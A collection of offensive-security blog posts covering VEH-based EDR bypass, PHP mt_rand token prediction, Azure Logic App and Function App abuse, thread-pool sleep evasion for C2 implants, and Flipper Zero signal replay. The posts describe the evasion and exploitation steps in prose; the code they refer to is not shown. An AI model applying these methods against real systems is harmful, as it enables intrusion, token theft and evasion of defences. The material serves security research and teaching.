LayeredSyscall – Abusing VEH to Bypass EDRs

Asking any offensive security researcher how an EDR could be bypassed will result one of many possible answers, such as removing hooks, direct syscalls, indirect syscalls, etc. In this blog post, we will take a different perspective to abuse Vectored Exception Handlers (VEH) as a foundation to produce a legitimate thread call stack and employ indirect syscalls to bypass user-land EDR hooks. Disclaimer: The research below must only be used for ethical purposes. Please be responsible and do not use it for anything illegal. This is for educational purposes only. Introduction EDRs use user-land hooks that are usually placed in ntdll.dll or sometimes within the kernel32.dll that are loaded into every process in the Windows operating system. They implement their hooking procedure typically in one of two ways: Hooks are not placed in every function within the target dll. Within ntdll.dll, most of the hooks are placed in the Nt* syscall wrapper functions. These hooks are often used to redirect the execution safely to the EDR’s dll to examine the parameters to determine if the process is performing any malicious actions. Some popular bypasses for circumventing these hooks are: There are more bypass techniques, such as blocking any unsigned dll from being loaded, blocking the EDR’s dll from being loaded by monitoring LdrLoadDll, etc. On the flipside, there are detection strategies that could be employed to detect and perhaps prevent the above-mentioned evasion techniques: The research presented below attempts to address the above detection strategies. LayeredSyscall – Overview The general idea is to generate a legitimate call stack before performing the indirect syscall while switching modes to the kernel land and also to support up to 12 arguments. Additionally, the call stack could be of the user’s choice, with the assumption that one of the stack frames satisfies the size requirement for the number of arguments of the intended Nt* syscall. The implemented concept could also allow the user to produce not only the legitimate call stack but also the indirect syscall in between the user’s chosen Windows API, if needed. Vectored Exception Handler (VEH) is used to provide us with control over the context of the CPU without the need to raise any alarms. As exception handlers are not widely attributed as malicious behavior, they provide us with access to hardware breakpoints, which will be abused to act as a hook. To note, the call stack generation mentioned here is not constructed by the tool or by the user, but rather performed by the system, without the need to perform unwinding operations of our own or separate allocations in memory. This means the call stack could be changed by simply calling another Windows API if detections for one are present. VEH Handler #1 – AddHwBp We register the first handler required to set up the hardware breakpoint at two key areas, the syscall opcode and the ret opcode, both within Nt* syscall wrappers within ntdll.dll. The handler is registered to handle EXCEPTION_ACCESS_VIOLATION, which is generated by the tool, just before the actual call to the syscall takes place. This could be performed in many ways, but we’ll use the basic reading of a null pointer to generate the exception. However, since we must support any syscall that the user could call, we need a generic approach to set the breakpoint. We can implement a wrapper function that takes one argument and proceeds to trigger the exception. Furthermore, the handler can retrieve the address of the Nt* function by accessing the RCX register, which stores the first argument passed to the wrapper function. Once retrieved, we perform a memory scan to find out the offset where the syscall opcode and the ret opcode (just after the syscall opcode) are present. We can do this by checking that the opcodes 0x0F and 0x05 are adjacent to each other like in the code below. Syscalls in Windows as seen in the following screenshot are constructed using the opcodes, 0x0F and 0x05. Two bytes after the start of the syscall, you can find the ret opcode, 0xC3. Hardware breakpoints are set using the registers Dr0, Dr1, Dr2, and Dr3 where Dr6 and Dr7 are used to modify the necessary flags for their corresponding register. The handler uses Dr0 and Dr1 to set the breakpoint at the syscall and the ret offset. As seen in the code below, we enable them by accessing the ExceptionInfo->ContextRecord->Dr0 or Dr1. We also set the last and the second bit of the Dr7 register to let the processor know that the breakpoint is enabled. As you can see in the image below, the exception is thrown because we are trying to read a null pointer address. Once the exception is thrown, the handler will take charge and place the breakpoints. Take note, once the exception is triggered, it is necessary to step the RIP register to the number of bytes required to pass the opcode that generated the exception. In this case, it was 2 bytes. After that, the CPU will continue the rest of the exception and this will perform as our hooks. We will see this performed in the second handler below. VEH Handler #2 – HandlerHwBp This handler contains three major parts: Part #1 – Handling the Syscall Breakpoint Hardware breakpoints, when executed by the system, generate an exception code, EXCEPTION_SINGLE_STEP, which is checked to handle our breakpoints. In the first order of the control flow, we check if the exception was generated at the Nt* syscall start using the member ExceptionInfo->ExceptionRecord->ExceptionAddress, which points to the address where the exception was generated. We proceed to save the context of the CPU when the exception was generated. This allows us to query the arguments stored, which according to Microsoft’s calling convention, are stored in RCX, RDX, R8, and R9, and also allows us to use the RSP register to query the rest of the arguments, which will be further explained later. Once stored, we can change the RIP to point to our demo function; in

Exploiting (GH-13690) mt_rand in php in 2024

This blog post delves into the inner workings of mt_rand(), exposing its weaknesses and demonstrating how these vulnerabilities can be exploited. We’ll examine real-world scenarios and provide insights into more secure alternatives. What is mt_rand in php? This function generates a random value via the Mersenne Twister Random Number Generator (PHP 4, PHP 5, PHP 7, PHP 8). It helps the developer by generating random numbers, but it is actually random? The answer is no based on the PHP documentation [1]: There is a tool developed by openwall called php_mt_seed [2]. The tool receives a bunch of the rand output and gives you the seed that was used. What are the attacking scenarios? There are two: As an example for the first scenario, let’s imagine that there is an admin functionality on a web site that is powered by PHP. This functionally is resetting multiple users’ passwords at the same time. A link is sent to the selected users to reset their passwords, and that link contains a reset token generated by rand. If one of the users was an attacker, the attacker could be able to retrieve the seed and predict the tokens for other users as the seed will be the same. As an example for the second scenario, we have a website powered by PHP 8.0.30, which is vulnerable to GH-13690 or any PHP version is vulnerable to GH-13690. An attacker can request the password be reset for their own account and another account at the same moment (two different HTTP requests). Now the attacker can use their token to predict the seed for the other account. The seed will be different because the rand function is regenerating the seed for every HTTP request, but they can brute force it using the exploit of GH-13690.  (Global Mt19937 is not properly reset in-between requests when MT_RAND_PHP is used) Figure 2 – PHP 8 change log In both scenarios, we are exploiting the following function that was found in a real application: Exploiting Scenario 1 Vulnerable code: In the example, the function is generating a password reset for two users but in the same session (same initial state for the mt_rand). The PHP version of our target is latest version: Let’s attack the tokens we need to predict the second token (admin token as an example) using only one of the tokens that was generated (just a normal user token). The following python script will convert the tokens into what the rand function really generated because the rand function is generating a number, not the strings itself: The output of the script will be used with the php_mt_seed tool: The reason “0” and “61” is in the script is because the rand function is bounded from the original PHP code from 0 to 61 and we duplicate the number to achieve the exact match. Now let’s get the next token using the following exploit PHP code by setting the seed: Here is the example output for the target PHP code as below: Here we’ve run the exploit PHP code: The attack was successful and we obtained the token. Exploiting Scenario 2 In this scenario, user1 is the attacker who wants to reset the password for user2, and the website is using a vulnerable PHP version such as 8.0.30 (GH-13690). We are going to attack an application that uses the same mentioned function in this experiment. We installed the application on PHP version 8.0.30. To exploit the issue, we need to send the reset password request for the attacker account and target account at the same time. To do this, we can create a group send in Burp Suite’s Repeater. Make sure to enable the Send group single connection as below: Using MySQL database, we can see the token was generated for the attacker account and target account at the same time. From the attacker’s perspective, we only have access to attacker token, which is F4zrX6rBBHaOadoTwsRvJddtyl5vEeif. With this information, let’s use the same attack process as before. It’s true that we found the seed, but the next seed that was used to generate the target token will be a bit different. Let’s continue to see in what way. If we copy the target token, we can use the same attack to get the seed and compare the target seed and attacker seed: We can see that the first four digits of the seeds are the same. Now all we need to do is brute force the remaining seed, which is only 6 digits! Using our POC to attack: After running the POC PHP script: The attack was successful and the target token was found. Now we need to brute force all of the tokens, which is only 1,000,000 and can be brute forced in couple of hours. Conclusion In this blog post we exploited the PHP mt_rand function in two different scenarios and showed the exploitability in a real world attack. In 2024, mt_rand is still used by programmers to generate random passwords and tokens or even user IDs. The mt_rand function is not secure and puts your software at risk. If you’re looking for a good alternative, we recommend using a secure random generator function like random_int() and random_bytes() to generate secrets and never use mt_rand. [1] https://www.php.net/manual/en/function.mt-rand.php [2] https://github.com/openwall/php_mt_seed

Burp Suite vs. Caido: Navigating the Evolving Landscape of Best Web Application Security Testing Tools

In the ever-evolving landscape of web application security testing, selecting the right tools is crucial for ensuring robust security measures. Two prominent contenders in this field are Burp Suite and Caido. Both offer free and paid versions, each catering to different needs and budgets. This article delves into a comparative analysis of these tools, examining their features, usability, and value propositions to help users make informed decisions. Understanding the Basics Burp Suite, developed by PortSwigger, is a veteran in the cybersecurity realm, widely recognized for its comprehensive toolset designed to identify and exploit vulnerabilities in web applications. Caido, on the other hand, is a relatively new entrant, offering a modern and user-friendly approach to security testing. Despite its novelty, Caido has quickly gained attention for its intuitive design and efficient workflows. Features Comparison Burp Suite Community Edition (Free) Professional Edition (Paid) Caido Free Version Paid Version Usability and Learning Curve Burp Suite is known for its robustness and reliability. However, it comes with a steeper learning curve, especially for beginners. Its extensive documentation and support are invaluable for professional users who require in-depth capabilities and advanced features. The professional version’s automated scanner and CI/CD integration streamline workflows, making it suitable for large-scale projects. Caido, in contrast, is designed with user-friendliness at its core. Its modern UI and intuitive features make it accessible to both beginners and seasoned professionals. The focus on ease of use does not compromise its efficiency, making it a strong contender in the security testing field. The seamless integration with CI/CD pipelines and comprehensive reporting features in the paid version enhance its usability for professional environments. Cost-Benefit Analysis Burp Suite Professional comes with a significant cost, justified by its extensive features and support for professional use. The investment is particularly worthwhile for large-scale projects and comprehensive security testing requirements. The Community Edition, while limited, provides essential tools for small projects or learning purposes. The extensive feature set of the professional version, including advanced intrusion tools and automated scanning, makes it a top choice for professionals despite its higher price point. Caido offers a more affordable alternative without sacrificing essential functionalities. Its paid version provides enhanced automation and integration capabilities at a lower cost, making it an attractive option for budget-conscious users who still require robust security testing tools. The modern UI and user-centric design reduce the learning curve, making it accessible to a broader audience. The cost-effectiveness of Caido, combined with its advanced features, positions it as a viable competitor to Burp Suite. Conclusion Both Burp Suite and Caido bring unique strengths to the table. Burp Suite remains a top choice for its comprehensive and professional-grade features, despite its higher cost and steeper learning curve. It is particularly suited for users who need extensive support and advanced tools for large-scale security testing. The professional version’s capabilities, including the automated scanner and CI/CD integration, provide a robust solution for complex security needs. Caido, with its modern approach and user-friendly design, offers an efficient and cost-effective solution for both beginners and professionals. Its affordability and ease of use make it a compelling choice for a wide range of users, from hobbyists to seasoned security professionals. The intuitive interface and seamless integration with development pipelines enhance its usability and efficiency. In the dynamic field of web application security testing, the choice between Burp Suite and Caido ultimately depends on the user’s specific needs, budget, and preference for usability. Both tools have proven their worth, and understanding their nuances can help users navigate the complex landscape of cybersecurity with confidence. This article aims to provide a comprehensive, balanced view of Burp Suite and Caido, helping readers make informed decisions based on their unique requirements. By highlighting the key differences and advantages of each tool, we ensure that our audience is well-equipped to choose the best solution for their security testing needs.

Abusing Azure Logic Apps – Part 1

This will be a multi-part blog series on abusing logic apps. In this blog, we will cover a few scenarios on how we can leverage our privileges on our storage account linked with a logic app to gain access on Logic Apps and create our new workflow, upload code that will allow us to execute system commands, and more. We will understand the relationship between logic apps and storage accounts. Let’s start from scratch by first understanding storage accounts, logic apps, and their use cases. Azure Storage Accounts Azure Storage Account offers a dependable and affordable solution for storing and retrieving data, regardless of its format. Azure Storage meets a broad range of storage needs, from photos and documents to movies and application data. It offers four main data storage services: tables, queues, blob containers, and file shares. Let’s discuss these services. Table Storage Azure Table Storage is a service that stores non-relational structured data (also known as structured NoSQL data) in the cloud, providing a key/attribute store with a schemaless design. Because table storage is schemaless, it’s easy to adapt our data as the needs of our application evolve. We can use table storage to store flexible datasets like user data for web applications, address books, device information, or other types of metadata that our service requires. We can store any number of entities in a table, and a storage account may contain any number of tables, up to the capacity limit of the storage account. Azure Queue Storage The Azure Queue Storage service can be used for storing a large number of messages. A queue message can be 64kb in size. We can access the queues from anywhere in the world with authenticated HTTP/HTTPS request. Queues are commonly used to create a backlog of work to process asynchronously. For example, when a new order comes in, it gets added to the queue, and our application picks it up, processes the order, and removes it from the queue. Blob Storage Blob storage is a object storage solution, optimized for storing a massive amount of unstructured data. Blob storage can be accessed over HTTP/HTTPS from anywhere in the world. It is designed for the following: Azure Files Azure Files is a fully managed file share in cloud. It can be accessed via industry standard protocols such as SMB, NFS, or REST API. We can mount the Azure file shares on Windows, Linux, or MacOS clients by leveraging SMB protocol. NFS protocol can be used to mount the disk only on Linux machines. Azure File Sync can be leveraged to cache the data in an Azure file share mounted on Windows servers via SMB. Logic Apps In the world of cloud-based automation and integration, Azure Logic Apps stand out as a powerful tool for orchestrating workflows and connecting various services and applications. In this comprehensive guide, we’ll delve into what logic apps are, how they work, and explore their capabilities with real-world examples. Azure Logic Apps is a cloud-based service that allows us to automate workflows and integrate data, applications, and systems across cloud and on-premises environments. Think of Logic Apps as our digital assistant, automating repetitive tasks and streamlining complex business processes without writing extensive code. Logic apps follow a “trigger-action” model, where a trigger initiates the workflow and one or more actions are performed in response to the trigger. Triggers can be events from various sources such as emails, messages, or changes in data. Actions are the tasks performed, which can include sending emails, processing data, calling APIs, or even running custom code. Example Imagine an e-commerce platform that receives orders from customers via a web application. With Azure Logic Apps, we can create a workflow that triggers whenever a new order is placed. The logic app can then retrieve order details, send confirmation emails to customers, update inventory in a database, and notify shipping services for order fulfillment. Getting Familiar with Logic Apps’ Standard Plan Azure Logic Apps comes in two plans: Standard and Consumption, each tailored to different needs. The Standard plan offers advanced features, such as premium connectors, Integration Service Environments (ISE), and enhanced monitoring capabilities, making it ideal for enterprise-grade automation scenarios with complex integration requirements. In simple words, when creating a logic app with the Standard plan, an app service plan is also created along with a storage account. In backend, it leverages function apps. The Consumption plan follows a serverless architecture and a pay-per-use pricing model. With automatic scaling and simplified management, the Consumption plan is well-suited for organizations looking for a scalable and budget-friendly solution without upfront costs. So, why are we interested in this? Well, these plans have different functionalities that we will cover in this blog series. For part 1, we will focus on Standard plan-based logic apps. As mentioned above, when we select the Standard plan, an App Service plan is made and, along with that, a storage account is created to sync all the workflows and other files from file share which, again, makes it vulnerable if an attacker gets read/write access on an Azure storage account. Now we might be wondering, how is it possible? So to answer our question, let’s dig deeper into logic app deployment. Let’s first understand how a basic workflow is created in the logic app and then understand how it works. In the image above, the highlighted service will be created along with the Standard Logic App Plan. Once created, we can make our new workflow by navigating to Workflows and selecting the Stateless State type as shown in the following screenshot. Once created, we’ll select our workflow (“stateless1”) and navigate to Designer. As discussed above, all Logic Apps have to start with a trigger, which initiates the workflow when a specific event occurs. In both the Standard and Consumption plans, triggers can be configured to respond to various events such as HTTP requests, messages in queues, changes in data, scheduled times, etc. Once the trigger is set off, it will

Sleeping Safely in Thread Pools

A thread pool is a collection of worker threads that efficiently execute asynchronous callbacks on behalf of the application. The thread pool is primarily used to reduce the number of application threads and provide management of the worker threads. Applications can queue work items, associate work with waitable handles, automatically queue based on a timer, and bind with I/O. – MSDN | Thread Pools The red team community has developed a general awareness of the utility of thread pools for process injection on Windows. Safebreach published detailed research last year describing how they may be used for remote process injection. White Knight Labs teaches the relevant techniques in our Offensive Development training course. This blog post, however, discusses another use of thread pools that is relevant to red teamers: their use as an alternative to a sleeping main thread in a C2 agent or other post-exploitation offensive capability. This technique has been observed in use by real world threat actors before and is not a novel technique developed by myself or White Knight Labs. However, since we have not observed public discussion of the technique in red team communities, we have determined it to be a worthwhile topic that deserves more awareness. Let us now compare the standard technique of using a sleeping thread with this alternative option. The Problem with Sleeping Threads C2 developers often face a dilemma where their agent must be protected while it is sleeping. It sleeps because it awaits new work. While the agent sleeps, all sorts of protections have been constructed to ward off dangerous memory scanners that may hunt it in its repose. Many of those mechanisms protect its memory, such as encryption of memory artifacts or ensuring the memory storage locations fly innocuous flags. Today we do not speak of memory protections, rather of threads and their call stacks. Specifically, we are concerned about reducing the signature of our threads. The concern for which C2 developers delve into the complexities of call stack evasion is that their agent must periodically sleep its main thread. That main thread’s call stack may include suspicious addresses indicating how it came to be run. For example, code in some unbacked memory such as dynamically allocated shellcode may have hidden the C2 agent in safely image-backed memory before executing it. But the thread that ran that agent could still keep a call stack that includes an address in unbacked memory. Therefore the call stack must be “cleaned” in some way. Using thread pools to periodically run functionality instead of a sleeping main thread avoids this issue. By creating a timer-queue timer (which uses thread pools to run a callback function on a timer), the main thread can allow itself to die safe in the knowledge that its mission of executing work will be taken up by the thread pool. Once the sleep period is completed, the thread pool will create a new thread and run whatever callback function it was setup for. This would likely be the “heartbeat” function that checks for new work. The thread pool will automatically create a new thread with a clean call stack or handoff the execution to an existing worker thread. Comparing the Code Let us suppose we have a simple, mock C2 agent that includes the following simplified code: This part of our code is common between our two case studies. We have a heartbeat function that is called periodically after SLEEP_PERIOD amount of milliseconds. The heartbeat function checks for new work from the C2 server, executes it, and then sets up any obfuscation before it sleeps again. We will use MDSec’s BeaconHunter and Process Hacker to inspect our process after using both techniques. BeaconHunter monitors for processes with threads in the Wait:DelayExecution state, tracks their behavior, and calculates a detection score that estimates how likely they are to be a beacon. It was designed to demonstrate detection of Cobalt Strike’s implant BEACON. Sleeping Thread Example Now suppose our agent uses a sleeping thread to wait. The simplified code would look something like this: That is the code that runs in our hypothetical C2 implant’s main thread. All it does is sleep and then run the heartbeat function once it wakes. Now we’ll run our mock C2 agent and inspect it. With Process Hacker you can see that the main thread spends most of its time sleeping in the Wait:DelayExecution state. Now let’s take a look at what BeaconHunter thinks about us: BeaconHunter has observed our main sleeping thread, as well as our callbacks on the network, and decided that we are worthy of a higher score for suspicious behavior. Thread Pools Timer Example Now let’s try rewriting our mock C2 implant to use a thread pool and timer instead. In this example we use CreateTimerQueueTimer to create a timer-queue timer. When the timer expires every SLEEP_PERIOD milliseconds our callback function ticktock will be executed by a thread pool worker thread. Once we have setup the timer, we exit our original thread to allow the timer to take over management of executing our heartbeat function. Another option would be to trigger the callback on some kind of event rather than a timer. For that, you may use the RegisterWaitForSingleObject function. Now that we have re-configured our mock C2 implant to use a thread pool, let’s inspect our process again with Process Hacker: This screenshot contains several interesting bits of information. Because the waiting state of our worker thread is not Wait:DelayExecution, BeaconHunter does not notice our process at all and it is absent in the list of possible beacons: Which Thread Pool APIs Should You Use? If you read the MSDN article linked at the top, then you will know that there are two documented APIs for thread pools. A “legacy” API and a “new” API. The legacy API was re-architected in Windows Vista before the new architecture thread pools were implemented entirely in usermode. Now they are managed in the kernel by the TpWorkerFactory object type and are

Pivoting from Microsoft Cloud to On-Premise Machines

This article will demonstrate one situation discovered during a recent cloud penetration test that allowed us to pivot from a Microsoft cloud environment to on-premise machines via PSRemoting. Yes, you read the above statement correctly; we leveraged PSRemoting for lateral movement from the cloud to on-premises. We replicated the attack path in our lab environment. Note: This article will not contain the steps for deploying the lab or replicating the lab environment. It also won’t focus on OPSEC or bypassing the PowerShell logging capabilities as it depends from environment to environment. Let’s get started by first understanding the resources and components that were present and helped us in gaining command execution on the on-premise machines. We started the penetration test with normal read access on the target tenant and found an attack path that helped us gain contributor privileges to a resource group via service principal. We authenticated with the service principal credentials using Az PowerShell module, listed all the resources, and found multiple resources, such as Function App, Key Vault, Azure Relay, etc. So, let’s first discuss Function App, Azure Relay, and Hybrid Connections, and then we can continue with our attack path story. Function Apps Function Apps (Lambda in AWS) are serverless computing services provided by Azure Cloud. They allow developers to build and deploy small functions that can be triggered by events such as simple HTTP requests. Function Apps provide an environment for executing our code without the need for managing the underlying infrastructure, like operating system, storage, load balancers, RAM, networking, etc. They are designed to simplify the development and deployment of individual functions, abstracting away the complexities of infrastructure management and enabling developers to focus solely on writing code. Azure Relay The Azure Relay service provides options for organizations to expose services running on-premises in the corporate network to the public cloud. There is no need to punch a hole in the Firewall as the agent installed on the on-premise machine will initiate an outbound connection to the Azure Relay service and create a bi-directional socket for communication. When the client connects to the Azure Relay service, the data is relayed to the on-premise machine. Hybrid Connection Hybrid Connection is a feature in Azure Relay that is secure and leverages open-protocol evolution based on HTTP and WebSockets. It enables bi-directional, request-response, and binary stream communication and simple datagram flow between two networked applications. It allows a few services such as App Services and Function Apps to interact with other services that are hosted on-premises. Now that we know about all three components, let’s move on with our attack path story. When we found out about Hybrid Relay, we started enumerating the details and found that the connection is created for a machine over the 5986 port. We immediately thought of PSRemoting, as 5986 is the HTTPS port for the WSMan protocol, which is leveraged by PSRemoting. We checked if the hybrid connection was attached with the Function App. To check the configuration, we used the REST API call, as there is no built-in PowerShell cmdlet that we know of that can provide such details. To use the REST API call, we requested an access token for the “https://management.azure.com” endpoint. Once we had the access token, we could leverage the below PowerShell code to send the REST API call and get the hybrid connection details. Note: Az CLI has an option to list the hybrid connection attached to the Function App. So, now we can confirm that the Function App has hybrid connection configured. Next, we extracted the source code of the function present in the Function App using our internal tool (“VAJRA“) written by Raunak Parmar. There is an alternative way to read the source code by accessing the management console (SCM Portal) of the Function App. SCM Portal leverages the KUDU engine that also provides us access to PowerShell and the Command Prompt console via web interface. To gain access to the SCM Portal, we need Contributor / Owner RBAC access, or if a custom role is assigned, then we need “microsoft.web/sites/publish/action” privileges to access the SCM Portal. Additionally, we can access the SCM Portal using the basic auth credentials that we can extract from the published profile using Az PowerShell. Note: By default, basic auth and FTP access is enabled for all of the app services and Function Apps. Now, as we have the credentials for the SCM Portal basic auth, we can leverage the below endpoint for authentication. Once we authenticate, we can click on the “Debug console” and then click on the “PowerShell” option. Now we can navigate to “site –> wwwroot –> AzureRelayTesting” and click on the edit icon of the “run.ps1” file. Note: The Function Name “AzureRelayTesting” may differ. Once we click on the edit icon, we will be able to view the source code of the function in the Function App. In the function code, we can see that the username, password, and ComputerName are stored in the environment variables that can be retrieved from the app settings. So we’ll use the SCM Portal to view all the app settings configured in the Function App by clicking on the “Environment” option in the menu. In the above screenshot, we can see that the password is stored in the Key Vault secret object. So ideally the managed identity of the Function App will have privileges to read the secrets from the Key Vault. Managed Identity Managed identity can be used to gain access to other resources that support Microsoft Entra ID authentication without the need for explicit credentials or secrets. It is a special type of service principal that can be leveraged as identity while granting the RBAC roles in Microsoft Entra ID. More information about managed identity can be found in Microsoft Docs. To validate if the managed identity has access to the Key Vault, we can enumerate the Key Vault and list all the assigned permissions. In the above screenshot, we see that the Key Vault is leveraging the

A Technical Deep Dive: Comparing Anti-Cheat Bypass and EDR Bypass 

In the evolving landscape of digital security, two prominent challenges emerge that pose significant threats to the integrity of online systems and user data: anti-cheat bypass and EDR bypass. These concepts revolve around circumventing protective measures designed to ensure fair play in the realm of online gaming and to safeguard computer systems against malicious software, respectively. This post will delve into the goals of anti-cheat bypass and EDR bypass, exploring the motivations behind these activities and their implications, and will draw a distinction between legitimate security research and illicit activities.  Aspect  Anti-Cheat Bypass  EDR Bypass  Target Environment  Gaming applications and platforms  General computing environments and systems  Objective  Evade detection in multiplayer games  Circumvent EDR software detection  Techniques  Code injection, hooking, packet manipulation  Polymorphic malware, rootkits, code obfuscation  Detection Mechanisms  Heuristic analysis, behavior monitoring  Signature-based detection, heuristics, sandboxing  Impact on Users  Unfair advantages in games, potential for game exploitation  Compromised system integrity, data theft, and malware infections  Legal Implications  Violation of terms of service in gaming platforms  Unlawful activities, data breaches, and legal consequences  Ecosystem Impact  Degraded gaming experience, loss of revenue for developers  Widespread malware outbreaks, compromised user data  Countermeasures  Regular updates, server-side validation, player reporting  Regular EDR updates, intrusion detection systems, user education  Quick Comparison Anti-Cheat Bypass Anti-cheat bypass refers to the process of evading or overcoming security mechanisms implemented in online games to detect and prevent cheating. The primary goal of individuals attempting to bypass anti-cheat systems is to gain an unfair advantage over other players, disrupting the balance and integrity of the gaming experience. Cheating in online games can take various forms, including aimbots, wallhacks, speed hacks, and other modifications that provide an unfair advantage. Motivations Behind Anti-Cheat Bypass The motivations behind individuals engaging in anti-cheat bypass activities are multifaceted. Some seek the thrill of outsmarting security systems, driven by the challenge of breaking through digital barriers. Others may be motivated by a desire for recognition within hacking communities or to monetize their exploits by selling cheat tools and services. In some cases, players may resort to cheating as a form of rebellion against perceived unfairness in the gaming environment. Legitimate Security Research vs. Illicit Activities in Anti-Cheat Bypass It is essential to distinguish between legitimate security research and illicit activities when discussing anti-cheat bypass. Ethical hackers may engage in responsible disclosure, helping game developers identify vulnerabilities and strengthen their anti-cheat measures. However, individuals who exploit these vulnerabilities for personal gain or to disrupt online communities fall into the category of illicit actors, threatening the stability of online ecosystems. EDR Bypass On the other hand, EDR bypass involves evading or circumventing the detection mechanisms employed by EDR software to identify and neutralize malicious software. Malware developers and cybercriminals employ various techniques to create and distribute malware that can go undetected by EDR programs, allowing them to compromise systems, steal sensitive information, or launch other malicious activities. Motivations Behind EDR Bypass The motivations behind EDR bypass are predominantly malicious, driven by the desire to evade detection and ensure the successful deployment of malware. Cybercriminals aim to compromise the security of individual users, businesses, and organizations for financial gain, espionage, or other nefarious purposes. The constantly evolving nature of cybersecurity requires malware developers to stay one step ahead of security solutions, leading to a perpetual arms race between attackers and defenders. Legitimate Security Research vs. Illicit Activities in EDR Bypass Legitimate security research and illicit activities in EDR bypass highlight a fine line between enhancing cybersecurity and exploiting vulnerabilities for malicious purposes. Ethical researchers aim to strengthen security postures through responsible disclosure and adherence to legal frameworks, contrasting sharply with attackers who operate with malicious intent, outside legal boundaries. This dynamic underscores the critical need for continuous investment in security research and collaboration within the cybersecurity community to stay ahead of evolving threats. Anti-Cheat Bypass and EDR Bypass The goals of anti-cheat bypass and EDR bypass differ in their focus and impact. Anti-cheat bypass aims to undermine fair play in online gaming, while EDR bypass seeks to compromise the security of computer systems for malicious purposes. Distinguishing between legitimate security research and illicit activities is crucial in addressing these challenges and fostering a secure digital environment. As technology continues to advance, the need for innovative and adaptive security measures becomes increasingly apparent to counteract the persistent efforts of those seeking to exploit vulnerabilities for their gain. In the ever-evolving landscape of cybersecurity, the perpetual battle between attackers and defenders has given rise to sophisticated tools and techniques on both sides. While anti-cheat bypass and EDR bypass both involve circumventing security measures, they target different domains, with anti-cheat focusing on gaming environments and EDR on overall system protection. Windows API  Category  Anti-Cheat Bypass  EDR Bypass  Execution        CreateRemoteThread  Code Injection  X  X  VirtualAllocEx  Code Injection  X  X  WriteProcessMemory  Code Injection  X  X  CreateProcess  Process Creation  X  X  LoadLibrary  Dynamic Link Library (DLL) Load  X  X  ShellExecute  Process Execution  X  X  Persistence        RegSetValueEx  Registry Modification    X  CreateService  Service Creation    X  ChangeServiceConfig  Service Configuration    X  Privilege Escalation        AdjustTokenPrivileges  Token Privilege Modification    X  OpenProcessToken  Token Manipulation    X  EnablePrivilege  Enable Specific Privilege    X  Defense Evasion and Anti-Analysis        NtQuerySystemInformation  System Information Query    X  NtSetInformationProcess  Process Information Setting    X  SetThreadContext  Thread Context Modification  X    ZwUnmapViewOfSection  Memory Section Unmapping  X    OutputDebugString  Debug Output  X    Comparison of Windows API Commonly Used in Bypass Techniques Anti-Cheat Bypass Techniques Code Injection and Hooking Consider a scenario where an attacker aims to gain an unfair advantage in an online game by injecting custom DLLs into the game process. These DLLs may contain cheats, such as aimbots or wallhacks, allowing the player to manipulate the game environment and gain an upper hand. Function Hooking in Multiplayer Games In the realm of multiplayer games, attackers may employ function hooking techniques to intercept and modify functions responsible for player health or ammunition. This manipulation can provide an illicit advantage by making

Flipper Zero and 433MHz Hacking – Part 1

What is the Flipper Zero? The Flipper Zero can best be described as a hardware hacking multi-tool. The Flipper Zero is an open-sourced hardware, hand-held device. The ability to explore and access RFID, the 433 Mhz spectrum, GPIO pins, UART, USB, NFC, infrared, and more is self-contained in a portable “to-go” device. What is the 433 MHz spectrum? Different countries set aside different parts of the radio spectrum that may be used by low-power devices (LPD) for license-free radio transmission. UHF 433.050 to 434.790 MHz is set aside in the United States for this purpose. This enables things like garage door openers, home security systems, and other short-range radio-controlled devices to work. In the United States, the Federal Communication Commission (FCC) is the government agency responsible for regulating and enforcing laws around the use of the electromagnetic spectrum. Minus a few exceptions, United States 47 CFR 15.201 defines and requires “intentional radiators” to be certified, and 47 CFR 15.240 outlines requirements for such devices. 433 MHz Recon (T1596, T1592.001) Because “intentional radiators” operating in the 433 – 434 MHz spectrum must be certified, various certification records are publicly available via the FCC’s website. If you look at virtually any electronic device, usually imprinted in plastic or on a label, you will find a string that starts with FCC ID: followed by an ID number. The image on the left shows the FCC ID for a security system’s keypad. The FCC has an online “Equipment Authorization Search” site, making it fairly simple to look up FCC IDs. Click to increase size If you have never used this site before, the dash symbol ( – ) must be prepended to the Product Code, at the time of this writing. If omitted, the search will likely fail. Once the search results load, you will see something like this: Here we can see the application history and the frequency range this device is certified to operate within. Clicking on “Details” presents us with several documents that can be very useful for OSINT/Recon activities. By law, manufacturers are allowed to keep certain details confidential, so it is not unusual to see a “Confidentiality” letter attached to the application. The Confidentiality letter outlines what was withheld and, in this case, it looks like schematics, block diagrams, and operational descriptions were all withheld. The “Internal Photos” is a great resource for providing an overview of what the printed circuit board (PCB) looks like and what (if any) debug taps may exist. It also provides indirect clues on how the device may be assembled and, thus, how it may be disassembled, thereby reducing the risk of “breaking” the device before you get to test it. If you don’t already have it, the “User Manual” can be a great resource. Having the user manual on hand can be very helpful. You can often find default credentials, Admin IP addresses, and other useful things in it. The “test reports” are often a wealth of information. Sometimes we can learn what modulation is being used, in this case Frequency Shift Keying (FSK), as well as the bandwidth and other useful details. In some cases, you may also find FCC IDs for other devices the product may contain (IoT inception). Below is the base station the example keypad connects to. If you are having difficulties locating a chip or component, the test report may contain references, model/part numbers, or other clues to help you out. At this point, it becomes an iterative process of finding the FCC ID, looking it up, going through the documents, and repeating as necessary. Capturing some data! So far, we have done our homework. We have learned this keypad communicates on 433.92, the device uses FSK, and the expected bandwidth will be around 37.074 KHz. Image Credit: https://docs.flipperzero.one/sub-ghz/read The Flipper Zero comes with a frequency analyzer. To access it, go to Main Menu > Sub-GHz > Frequency Analyzer. With the Flipper Zero close to the keypad, perform an action that instantiates a wireless signal. Sure enough, when we test the keypad in the above example, we get a value (+/-) of 433.92. To capture data we need to go to the “Read Raw” menu. Main Menu > Sub-GHz > Read Raw Image Credit: https://docs.flipperzero.one/sub-ghz/read-raw We need to enter the config menu and make sure the Frequency is set to 433.92. The Flipper Zero supports two FSK modes: For now, let’s select FM238 and let’s set the RSSI threshold to -70.0. With the configuration set, we are now ready to capture! When we replay this, the base station responds with an error/warning “Wireless Interference Detected.” The device will likely use some checks to prevent direct replay attacks. A common method is to use rolling codes. In the next chapter, we will dive more into how we can decode and begin to make sense of what is happening behind the scenes.

Mockingjay Memory Allocation Primitive

